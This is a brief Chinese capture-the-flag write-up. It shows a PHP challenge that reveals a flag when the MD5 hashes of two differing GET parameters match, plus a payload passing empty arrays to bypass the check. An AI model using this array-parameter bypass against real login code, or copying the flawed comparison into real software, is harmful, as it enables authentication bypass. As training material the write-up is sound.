

源码如下:

```
1 <?php
2 show_source("18.php");
3 echo '<br>';
4 error_reporting(0);
5 require 'flag.php';
6 if (isset($_GET['username']) and isset($_GET['password'])) {
7     if ($_GET['username'] == $_GET['password'])
8         print 'Your password can not be your username.';
9     else if (md5($_GET['username']) === md5($_GET['password']))
10         die('Flag: '.$flag);
11     else
12         print 'Invalid password';
13 }
14 ?>
```

查看源码, 可以发现使用md5数组绕过

payload:

```
1 ?username[]=&password[]=1
```
